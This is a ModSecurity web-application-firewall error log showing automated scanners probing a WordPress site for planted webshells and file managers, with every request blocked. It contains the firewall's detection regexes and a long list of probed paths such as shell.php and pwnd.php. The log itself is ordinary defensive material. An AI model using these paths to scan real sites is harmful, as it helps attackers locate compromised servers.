[Sun Nov 23 08:57:38.940804 2025] [:error] [pid 44652:tid 44718] [client 85.203.21.184:65093] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aSJcAtiQFwsyXQDhwyAN5QAAAQw"]
[Sun Nov 23 08:57:39.188876 2025] [:error] [pid 44652:tid 44723] [client 85.203.21.223:27275] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "aSJcA9iQFwsyXQDhwyAN5wAAARE"]
[Sun Nov 23 08:57:39.416426 2025] [:error] [pid 38739:tid 38772] [client 85.203.21.183:48059] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/edit.php"] [unique_id "aSJcAwdvEgJm2n2cDmpkpAAAAEM"]
[Sun Nov 23 08:57:40.941152 2025] [:error] [pid 38738:tid 38753] [client 85.203.21.207:54775] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aSJcBAytc6TL9XavPmMa_gAAAAs"]
[Sun Nov 23 08:57:41.155735 2025] [:error] [pid 38740:tid 38802] [client 85.203.21.167:55765] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xmrlpc.php"] [unique_id "aSJcBQ13QPZSi6O8umXcNAAAAIY"]
[Sun Nov 23 08:57:41.343509 2025] [:error] [pid 38740:tid 38815] [client 85.203.21.178:55179] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aSJcBQ13QPZSi6O8umXcNQAAAJM"]
[Sun Nov 23 08:57:41.613605 2025] [:error] [pid 38739:tid 38770] [client 85.203.21.204:58769] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSJcBQdvEgJm2n2cDmpkqQAAAEE"]
[Sun Nov 23 08:57:41.848319 2025] [:error] [pid 38824:tid 38830] [client 85.203.21.184:51467] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aSJcBU8WZjXLvbHTHPcMqgAAAMM"]
[Sun Nov 23 08:57:42.081614 2025] [:error] [pid 38738:tid 38757] [client 85.203.21.45:23257] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/uploads/"] [unique_id "aSJcBgytc6TL9XavPmMa_wAAAA8"]
[Sun Nov 23 08:57:42.309740 2025] [:error] [pid 44652:tid 44714] [client 85.203.21.159:62941] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentyfifteen/shell3.php"] [unique_id "aSJcBtiQFwsyXQDhwyAN6QAAAQg"]
[Sun Nov 23 08:57:42.537594 2025] [:error] [pid 38738:tid 38746] [client 85.203.21.201:34389] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aSJcBgytc6TL9XavPmMbAQAAAAQ"]
[Sun Nov 23 08:57:42.722505 2025] [:error] [pid 38824:tid 38851] [client 85.203.21.183:57257] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aSJcBk8WZjXLvbHTHPcMqwAAANg"]
[Sun Nov 23 08:57:42.945846 2025] [:error] [pid 38738:tid 38749] [client 85.203.21.202:58451] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSJcBgytc6TL9XavPmMbAgAAAAc"]
[Sun Nov 23 08:57:43.152369 2025] [:error] [pid 38740:tid 38799] [client 85.203.21.156:49319] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aSJcBw13QPZSi6O8umXcOAAAAIM"]
[Sun Nov 23 08:57:48.352348 2025] [:error] [pid 38824:tid 38834] [client 85.203.21.58:53327] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/upload/"] [unique_id "aSJcDE8WZjXLvbHTHPcMrwAAAMc"]
[Sun Nov 23 08:57:48.658060 2025] [:error] [pid 38739:tid 38780] [client 85.203.21.195:64129] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aSJcDAdvEgJm2n2cDmpkuwAAAEs"]
[Sun Nov 23 08:57:48.883818 2025] [:error] [pid 38740:tid 38808] [client 85.203.21.202:46001] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aSJcDA13QPZSi6O8umXcPgAAAIw"]
[Sun Nov 23 08:57:49.143498 2025] [:error] [pid 38739:tid 38778] [client 193.37.32.2:29959] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/"] [unique_id "aSJcDQdvEgJm2n2cDmpkvAAAAEk"]
[Sun Nov 23 08:57:49.339373 2025] [:error] [pid 44652:tid 44725] [client 85.203.21.204:44891] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aSJcDdiQFwsyXQDhwyAN8QAAARM"]
[Sun Nov 23 08:57:52.938095 2025] [:error] [pid 44652:tid 44716] [client 193.37.32.1:23939] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aSJcENiQFwsyXQDhwyAN9QAAAQo"]
[Sun Nov 23 08:57:53.141646 2025] [:error] [pid 38740:tid 38809] [client 85.203.21.202:59741] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/revslider/includes/external/page/"] [unique_id "aSJcEQ13QPZSi6O8umXcQgAAAI0"]
[Sun Nov 23 08:57:53.347838 2025] [:error] [pid 44652:tid 44707] [client 193.37.32.3:36633] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "aSJcEdiQFwsyXQDhwyAN9gAAAQE"]
[Sun Nov 23 08:57:53.540869 2025] [:error] [pid 38824:tid 38847] [client 85.203.21.195:60129] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "aSJcEU8WZjXLvbHTHPcMtgAAANQ"]
[Sun Nov 23 08:57:53.729695 2025] [:error] [pid 38740:tid 38818] [client 85.203.21.239:48405] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aSJcEQ13QPZSi6O8umXcRAAAAJY"]
[Sun Nov 23 08:57:53.942508 2025] [:error] [pid 38740:tid 38798] [client 85.203.21.164:27803] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aSJcEQ13QPZSi6O8umXcRQAAAII"]
[Sun Nov 23 08:57:54.147435 2025] [:error] [pid 38740:tid 38808] [client 193.37.32.3:56773] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/"] [unique_id "aSJcEg13QPZSi6O8umXcSAAAAIw"]
[Sun Nov 23 08:57:54.376941 2025] [:error] [pid 38739:tid 38791] [client 85.203.21.172:28605] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/class.api.php"] [unique_id "aSJcEgdvEgJm2n2cDmpkwAAAAFY"]
[Sun Nov 23 08:57:54.646356 2025] [:error] [pid 44652:tid 44712] [client 85.203.21.172:51487] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aSJcEtiQFwsyXQDhwyAN-AAAAQY"]
[Sun Nov 23 08:57:54.900519 2025] [:error] [pid 38738:tid 38758] [client 85.203.21.168:49029] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-signin.php"] [unique_id "aSJcEgytc6TL9XavPmMbDwAAABA"]
[Sun Nov 23 08:57:55.248231 2025] [:error] [pid 38824:tid 38837] [client 85.203.21.204:60745] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/assets/images/selam.php"] [unique_id "aSJcE08WZjXLvbHTHPcMuwAAAMo"]
[Sun Nov 23 08:57:55.470115 2025] [:error] [pid 38824:tid 38844] [client 193.37.32.1:54743] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aSJcE08WZjXLvbHTHPcMvQAAANE"]
[Sun Nov 23 08:57:55.664942 2025] [:error] [pid 38738:tid 38756] [client 85.203.21.210:50193] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/"] [unique_id "aSJcEwytc6TL9XavPmMbEQAAAA4"]
[Sun Nov 23 08:57:57.037616 2025] [:error] [pid 38740:tid 38807] [client 85.203.21.170:62321] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-config-sample.php"] [unique_id "aSJcFQ13QPZSi6O8umXcSgAAAIs"]
[Sun Nov 23 08:57:57.297799 2025] [:error] [pid 38739:tid 38788] [client 85.203.21.217:33965] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/files/"] [unique_id "aSJcFQdvEgJm2n2cDmpkxQAAAFM"]
[Sun Nov 23 08:57:57.754831 2025] [:error] [pid 44652:tid 44728] [client 193.37.32.3:34937] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/"] [unique_id "aSJcFdiQFwsyXQDhwyAOAAAAARY"]
[Sun Nov 23 08:57:57.935518 2025] [:error] [pid 38740:tid 38818] [client 85.203.21.41:45161] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/css/"] [unique_id "aSJcFQ13QPZSi6O8umXcTwAAAJY"]
[Sun Nov 23 08:57:58.127630 2025] [:error] [pid 38824:tid 38844] [client 85.203.21.57:21983] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aSJcFk8WZjXLvbHTHPcM6gAAANE"]
[Sun Nov 23 08:57:58.327532 2025] [:error] [pid 38740:tid 38810] [client 85.203.21.207:59877] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/admin-header.php"] [unique_id "aSJcFg13QPZSi6O8umXcUQAAAI4"]
[Sun Nov 23 08:57:58.556397 2025] [:error] [pid 38739:tid 38780] [client 193.37.32.3:25787] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aSJcFgdvEgJm2n2cDmpkxgAAAEs"]
[Sun Nov 23 08:57:58.742243 2025] [:error] [pid 38824:tid 38845] [client 85.203.21.160:22289] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-conflg/function.php"] [unique_id "aSJcFk8WZjXLvbHTHPcNIQAAANI"]
[Sun Nov 23 08:57:58.983355 2025] [:error] [pid 44652:tid 44709] [client 85.203.21.161:47473] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-info.php"] [unique_id "aSJcFtiQFwsyXQDhwyAOHwAAAQM"]
[Sun Nov 23 08:57:59.174936 2025] [:error] [pid 38739:tid 38776] [client 85.203.21.202:57819] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/404.php"] [unique_id "aSJcFwdvEgJm2n2cDmpkxwAAAEc"]
[Sun Nov 23 08:57:59.485083 2025] [:error] [pid 38739:tid 38778] [client 85.203.21.159:42889] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/shell/"] [unique_id "aSJcFwdvEgJm2n2cDmpkyAAAAEk"]
[Sun Nov 23 08:57:59.669239 2025] [:error] [pid 44652:tid 44726] [client 193.37.32.2:49313] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/about.php"] [unique_id "aSJcF9iQFwsyXQDhwyAOIgAAARQ"]
[Sun Nov 23 08:57:59.892597 2025] [:error] [pid 38739:tid 38790] [client 85.203.21.164:50747] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/"] [unique_id "aSJcFwdvEgJm2n2cDmpkywAAAFU"]
[Sun Nov 23 08:58:00.207960 2025] [:error] [pid 38740:tid 38811] [client 85.203.21.239:57037] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/"] [unique_id "aSJcGA13QPZSi6O8umXcVgAAAI8"]
[Sun Nov 23 08:58:00.597763 2025] [:error] [pid 38739:tid 38783] [client 85.203.21.184:59045] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-links.php"] [unique_id "aSJcGAdvEgJm2n2cDmpkzQAAAE4"]
[Sun Nov 23 08:58:00.979098 2025] [:error] [pid 38739:tid 38788] [client 85.203.21.232:26297] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aSJcGAdvEgJm2n2cDmpk0wAAAFM"]
[Sun Nov 23 08:58:01.186873 2025] [:error] [pid 44652:tid 44711] [client 85.203.21.159:58839] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aSJcGdiQFwsyXQDhwyAOJAAAAQU"]
[Sun Nov 23 08:58:03.143641 2025] [:error] [pid 38738:tid 38749] [client 85.203.21.228:58523] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aSJcGwytc6TL9XavPmMbNwAAAAc"]
[Sun Nov 23 08:58:03.338725 2025] [:error] [pid 38739:tid 38775] [client 85.203.21.193:29743] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/"] [unique_id "aSJcGwdvEgJm2n2cDmpk3AAAAEY"]
[Sun Nov 23 08:58:03.563108 2025] [:error] [pid 38739:tid 38771] [client 85.203.21.178:63005] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aSJcGwdvEgJm2n2cDmpk3gAAAEI"]
[Sun Nov 23 08:58:03.760201 2025] [:error] [pid 38740:tid 38798] [client 85.203.21.183:25475] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/"] [unique_id "aSJcGw13QPZSi6O8umXcWwAAAII"]
[Sun Nov 23 08:58:03.988400 2025] [:error] [pid 38739:tid 38793] [client 85.203.21.190:38897] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aSJcGwdvEgJm2n2cDmpk4AAAAFg"]
